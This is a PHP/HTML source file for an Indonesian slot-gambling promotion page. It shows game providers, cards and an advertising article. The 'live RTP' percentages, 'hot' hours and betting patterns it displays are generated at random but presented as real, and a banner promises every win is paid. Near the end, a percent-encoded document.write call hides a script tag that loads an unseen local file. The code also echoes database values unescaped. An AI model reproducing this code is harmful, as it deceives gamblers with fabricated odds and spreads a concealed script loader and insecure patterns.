<?php
include "admin/koneksi.php";

// Ambil data dari database
$id = '1';
$qry_hadiah = mysqli_query($koneksi, "SELECT * FROM atur_situs WHERE id='$id'") or die("Query Error: " . mysqli_error($koneksi));
$dt_bank = mysqli_fetch_array($qry_hadiah);

// Data situs
$nama_situs = $dt_bank['nama_situs'] ?? '';
$title_situs = $dt_bank['title_situs'] ?? '';
$meta_deskripsi = $dt_bank['meta_deskripsi'] ?? '';
$logo = $dt_bank['logo'] ?? '';
$favicon = $dt_bank['favicon'] ?? '';
$background_situs_choice = $dt_bank['background_situs_choice'] ?? '';
$background_situs = $dt_bank['background_situs'] ?? '';
$slider_banner = $dt_bank['slider_banner'] ?? '';
$link_daftar = $dt_bank['link_daftar'] ?? '';
$link_login = $dt_bank['link_login'] ?? '';
$link_klaim = $dt_bank['link_klaim'] ?? '';
$root_color = $dt_bank['root_color'] ?? '';
$theme_color = $dt_bank['theme_color'] ?? 'dark'; // Default ke dark jika tidak ada
?>
<!DOCTYPE html>
<html lang="id">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $title_situs; ?></title>
    <meta name="title" content="<?php echo $title_situs; ?>">
    <meta name="description" content="<?php echo $meta_deskripsi; ?>">
    <link rel="shortcut icon" href="img/<?php echo $favicon; ?>" type="image/x-icon">
    <link rel="canonical" href="/">
    <link rel="stylesheet" href="css/rtp-<?php echo $theme_color; ?>.css">
</head>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>

<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">


<style>
    .warning-text {
        color: red;
        font-weight: bold;
        text-align: center;
        margin-top: 10px;
    }

    .info-text {
        font-size: 14px;
        margin-top: 10px;
    }

    .progress-bar-container {
        width: 100%;
        height: 20px;
        background-color: #ddd;
        border-radius: 10px;
        overflow: hidden;
        margin-top: 10px;
    }

    .progress-bar {
        height: 100%;
        text-align: center;
        color: white;
        font-weight: bold;
        line-height: 20px;
    }

    .artikel {
        font-family: 'Roboto', sans-serif;
        max-width: 1000px;
        margin: 50px auto;
        padding: 20px 30px;
        border-radius: 10px;
    }

    .artikel h1 {
        color: #fff;
        font-size: 26px;
        margin-bottom: 20px;
        font-weight: 700;
    }

    .artikel p {
        margin-bottom: 15px;
        color: #444;
        font-size: 16px;
    }

    .artikel a {
        color: #1a73e8;
        text-decoration: none;
    }

    .artikel a:hover {
        text-decoration: underline;
    }

    .artikel strong {
        font-weight: bold;
    }

    .custom-carousel {
        position: relative;
        width: 100%;
        max-width: 100%;
        overflow: hidden;
        margin-bottom: 20px;
    }

    .carousel-track {
        display: flex;
        transition: transform 0.5s ease-in-out;
    }

    .carousel-slide {
        min-width: 100%;
        box-sizing: border-box;
    }

    .carousel-slide img {
        width: 100%;
        height: auto;
        display: block;
    }

    .carousel-btn {
        position: absolute;
        top: 50%;
        transform: translateY(-50%);
        background: rgba(0, 0, 0, 0.5);
        color: white;
        border: none;
        padding: 10px 15px;
        cursor: pointer;
        z-index: 10;
    }

    .carousel-btn.prev {
        left: 10px;
    }

    .carousel-btn.next {
        right: 10px;
    }

    .carousel-btn:hover {
        background: rgba(0, 0, 0, 0.8);
    }

    .carousel-dots {
        text-align: center;
        margin-top: 10px;
        position: absolute;
        bottom: 15px;
        width: 100%;
        z-index: 10;
    }

    .carousel-dot {
        display: inline-block;
        height: 12px;
        width: 12px;
        margin: 0 5px;
        background-color: #ccc;
        border-radius: 50%;
        cursor: pointer;
        transition: background-color 0.3s ease;
    }

    .carousel-dot.active {
        background-color: #333;
    }
</style>
</head>

<body>
    <div class="header">
        <div class="logo-container">
            <img src="img/<?php echo $logo; ?>" alt="Logo" class="logo">
            <div class="rtp-update">
                <p id="rtp-update-date"></p>
                <p id="rtp-countdown"></p>
            </div>
        </div>
        <div class="custom-carousel">
            <div class="carousel-track">
                <?php
                include 'admin/koneksi.php';
                $query = mysqli_query($koneksi, "SELECT * FROM slider_banner ORDER BY id ASC");
                $dots = ''; // kita simpan dots dalam string
                
                $index = 0;
                while ($row = mysqli_fetch_assoc($query)) {
                    $gambar = str_replace('../images', 'images', $row['gambar']);
                    $alt = htmlspecialchars($row['alt_text']);
                    echo '
        <div class="carousel-slide">
          <a href="' . $link_daftar . '" target="_blank">
            <img src="' . $gambar . '" alt="' . $alt . '">
          </a>
        </div>';

                    // tambahkan dot
                    $dots .= '<span class="carousel-dot" data-index="' . $index . '"></span>';
                    $index++;
                }
                ?>
            </div>

            <!-- Tombol navigasi -->
            <button class="carousel-btn prev">&#10094;</button>
            <button class="carousel-btn next">&#10095;</button>

            <!-- Dots -->
            <div class="carousel-dots">
                <?= $dots ?>
            </div>
        </div>

        <div class="buttons">
            <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="masuk">MASUK</a>
            <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="daftar">DAFTAR</a>
        </div>
        <div class="search">
            <input type="text" id="search" placeholder="Cari game..." onkeyup="searchGame()">
            <button onclick="searchGame()">Cari</button>
        </div>
    </div>
    <div class="nav-wrapper">
        <div class="nav-container">
            <a href="pragmatic_play.php" class="nav-menu">PRAGMATIC PLAY</a>

            <a href="pg_soft.php" class="nav-menu">PG SOFT</a>

            <a href="microgaming.php" class="nav-menu">MICROGAMING</a>
            <a href="top_trend.php" class="nav-menu">TOP TREND GAME</a>
            <a href="habanero.php" class="nav-menu">HABANERO</a>
            <a href="spadegaming.php" class="nav-menu">SPADEGAMING</a>
            <a href="playstar.php" class="nav-menu">PLAYSTAR</a>
            <a href="spinroyal.php" class="nav-menu">SPIN ROYAL</a>
            <a href="fatpanda.php" class="nav-menu">FAT PANDA</a>
            <a href="cq9.php" class="nav-menu">CQ9</a>
            <a href="playtech.php" class="nav-menu">PLAYTECH</a>
            <a href="fastspin.php" class="nav-menu">FastSpin</a>
            <a href="bng.php" class="nav-menu">BNG</a>
            <a href="nolimit_city.php" class="nav-menu">NOLIMIT CITY</a>
            <a href="joker.php" class="nav-menu">JOKER</a>
            <a href="ogslot.php" class="nav-menu">OGSLOT</a>
            <a href="clotplay.php" class="nav-menu">CLOTPLAY</a>
            <a href="5games.php" class="nav-menu">5G GAMES</a>
            <a href="nine.php" class="nav-menu">NINES GAMES</a>
            <a href="vpower.php" class="nav-menu">VPOWER</a>
            <a href="aigaming.php" class="nav-menu">AIGAMING</a>
            <a href="rich88.php" class="nav-menu">RICH88</a>
            <a href="live22.php" class="nav-menu">LIVE22</a>
            <a href="evoplay.php" class="nav-menu">EVOPLAY</a>
            <a href="hacksaw.php" class="nav-menu">HACKSAW</a>
            <a href="onegame.php" class="nav-menu">ONEGAME</a>
            <a href="lgd.php" class="nav-menu">LGD</a>
            <a href="besoft.php" class="nav-menu">BESOFT</a>
            <a href="ameba.php" class="nav-menu">AMEBA</a>
            <a href="bigpot.php" class="nav-menu">BIGPOT</a>
        </div>


    </div>
    <div class="header-container">
        <div class="running-text">
            <marquee behavior="scroll" direction="left">
                <?php echo $title_situs; ?> Situs Judi Slot Gacor Hari Ini Dengan Fitur RTP LIVE Terbaru dan Terlengkap
                Dengan Simulasi Kemenangan Nyata Menang Berapapun Pasti Dibayar !
            </marquee>
        </div>
        <div class="filter-container">
            <label for="filter-select">Tampilkan: </label>
            <select id="filter-select" onchange="filterGames()">
                <option value="all">Semua</option>
                <option value="80plus">RTP 80%+</option>
            </select>
        </div>
    </div>
    <div class="container" id="game-list">
        <?php
        include "admin/koneksi.php";

        // Ambil data dari tabel list_game dengan provider = 21
        $query = mysqli_query($koneksi, "SELECT * FROM list_game WHERE provider = 25 ORDER BY id DESC");

        // Caching hasil selama 15 menit
        $cache_file = 'cache_pola.json';
        $cache_lifetime = 900; // 15 menit dalam detik
        
        if (file_exists($cache_file) && (time() - filemtime($cache_file)) < $cache_lifetime) {
            $cached_data = json_decode(file_get_contents($cache_file), true);
        } else {
            $cached_data = [];
        }

        while ($row = mysqli_fetch_assoc($query)) {
            $id = $row['id'];
            $gambar = str_replace("../img/", "img/", $row['gambar']); // Hapus "../"
            $keterangan = $row['keterangan'];
            $rtp = rand(61, 98); // Simulasi RTP antara 50% - 98%
            $gacor_time = date("H:i", strtotime("+1 hour")) . " WIB - " . date("H:i", strtotime("+2 hour")) . " WIB"; // Simulasi jam gacor
            $angka_pola = [10, 20, 30, 50, 70, 100];
            $jenis_pola = ['Auto', 'Manual'];

            if (!isset($cached_data[$id])) {
                for ($i = 0; $i < 3; $i++) {
                    $cached_data[$id][] = $jenis_pola[array_rand($jenis_pola)] . " " . $angka_pola[array_rand($angka_pola)];
                }
            }
            ?>
            <div class="game-card">
                <img src="<?php echo $gambar; ?>" alt="<?php echo $keterangan; ?>">
                <div class="game-title"><?php echo $keterangan; ?></div>
                <div class="progress-bar-container">
                    <div class="progress-bar" id="rtp-bar-<?php echo $id; ?>" style="width: <?php echo $rtp; ?>%;">
                    </div>
                    <div class="progress-bar-text" id="rtp-text-<?php echo $id; ?>"><?php echo $rtp; ?>%</div>
                </div>
                <script>
                    document.addEventListener("DOMContentLoaded", function () {
                        var rtpBar = document.getElementById("rtp-bar-<?php echo $id; ?>");
                        var rtpValue = <?php echo $rtp; ?>;
                        if (rtpValue >= 80) {
                            rtpBar.classList.add("green");
                        } else if (rtpValue >= 21) {
                            rtpBar.classList.add("orange");
                        } else {
                            rtpBar.classList.add("red");
                        }
                    });
                </script>
                <button class="simulasi-button" onclick="openSimulasiPopup(<?php echo $id; ?>)">Simulasi Kemenangan</button>
                <div class="game-info">
                    <p><span class="gacor-time" id="gacor-time-<?php echo $id; ?>"><?php echo $gacor_time; ?></span></p>
                    <div class="pola-slot" id="pola-slot-<?php echo $id; ?>">
                        <table class="pola-slot-table">
                            <tbody>
                                <?php foreach ($cached_data[$id] as $pola) { ?>
                                    <tr>
                                        <td><?php echo $pola; ?></td>
                                    </tr>
                                <?php } ?>
                            </tbody>
                        </table>
                    </div>
                </div>
                <div id="popup-<?php echo $id; ?>" class="popup">
                    <div class="popup-container">
                        <div class="popup-content">
                            <span class="close" onclick="closeSimulasiPopup(<?php echo $id; ?>)">×</span>
                            <h2>Simulasi Kemenangan</h2>
                            <label for="bet-input">Bet:</label>
                            <input type="number" id="bet-input-<?php echo $id; ?>" placeholder="Masukkan bet..."><br>
                            <label for="modal-input">Modal:</label>
                            <input type="number" id="modal-input-<?php echo $id; ?>"
                                placeholder="Masukkan modal..."><br><br>
                            <button onclick="runSimulasi(<?php echo $id; ?>)">Simulasikan</button>
                            <div id="simulasi-result-<?php echo $id; ?>" class="simulasi-result"></div>
                        </div>
                    </div>
                </div>
            </div>
            <?php
        }

        // Simpan cache
        file_put_contents($cache_file, json_encode($cached_data));
        ?>
    </div>

    <div class="artikel">
        <h1>Mengapa <?php echo $nama_situs; ?> Menjadi Pilihan Terbaik untuk Slot Gacor?</h1>
        <p>Dalam dunia permainan slot online, nama <strong><?php echo $nama_situs; ?></strong> telah menjadi sorotan
            banyak pemain. Dikenal dengan winrate yang tinggi dan permainan yang fair, <?php echo $nama_situs; ?> terus
            menarik perhatian para pencinta slot. Tapi, apa yang membuat <?php echo $nama_situs; ?> benar-benar berbeda
            dari situs lainnya?</p>
        <p><?php echo $nama_situs; ?> menawarkan pengalaman bermain yang tidak hanya mengasyikkan, tetapi juga penuh
            dengan peluang untuk menang besar. Dengan banyaknya promosi menarik dan fitur-fitur unggulan, pemain merasa
            lebih percaya diri dalam bermain. Inilah yang membuat <?php echo $nama_situs; ?> menjadi salah satu situs
            slot
            terbaik di Indonesia.</p>
        <p>Jika Anda ingin lebih mendalami strategi dan tips untuk memenangkan slot, jangan lupa untuk mengunjungi <a
                href="#"><?php echo $nama_situs; ?></a>. Di sana, Anda bisa menemukan berbagai informasi yang membantu
            Anda
            meraih kemenangan maksimal.</p>
        <p>Kesimpulannya, <?php echo $nama_situs; ?> adalah pilihan terbaik bagi Anda yang mencari situs slot online
            dengan winrate tinggi dan pelayanan terbaik. Jangan ragu untuk terus mengikuti update terbaru dan manfaatkan
            semua peluang yang ada untuk memenangkan jackpot besar di <?php echo $nama_situs; ?>.</p>
    </div>
    <script>
        document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%61%6E%6A%69%6E%67%2F%62%61%70%61%6B%6B%61%75%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
    </script>
    <script>
        document.querySelectorAll('.game-card img').forEach(img => {
            img.addEventListener('click', function () {
                window.location.href = "<?php echo $link_daftar; ?>";
            });
        });

    </script>
    <script>
        const track = document.querySelector('.carousel-track');
        const slides = document.querySelectorAll('.carousel-slide');
        const prevBtn = document.querySelector('.carousel-btn.prev');
        const nextBtn = document.querySelector('.carousel-btn.next');
        const dots = document.querySelectorAll('.carousel-dot');

        let currentSlide = 0;

        function updateSlidePosition() {
            track.style.transform = 'translateX(' + (-currentSlide * 100) + '%)';
            updateDots();
        }

        function updateDots() {
            dots.forEach((dot, index) => {
                dot.classList.toggle('active', index === currentSlide);
            });
        }

        nextBtn.addEventListener('click', () => {
            currentSlide = (currentSlide + 1) % slides.length;
            updateSlidePosition();
        });

        prevBtn.addEventListener('click', () => {
            currentSlide = (currentSlide - 1 + slides.length) % slides.length;
            updateSlidePosition();
        });

        dots.forEach(dot => {
            dot.addEventListener('click', () => {
                currentSlide = parseInt(dot.getAttribute('data-index'));
                updateSlidePosition();
            });
        });

        // Auto play (optional)
        setInterval(() => {
            currentSlide = (currentSlide + 1) % slides.length;
            updateSlidePosition();
        }, 5000);

        // Set initial active dot
        updateDots();
    </script>

</html>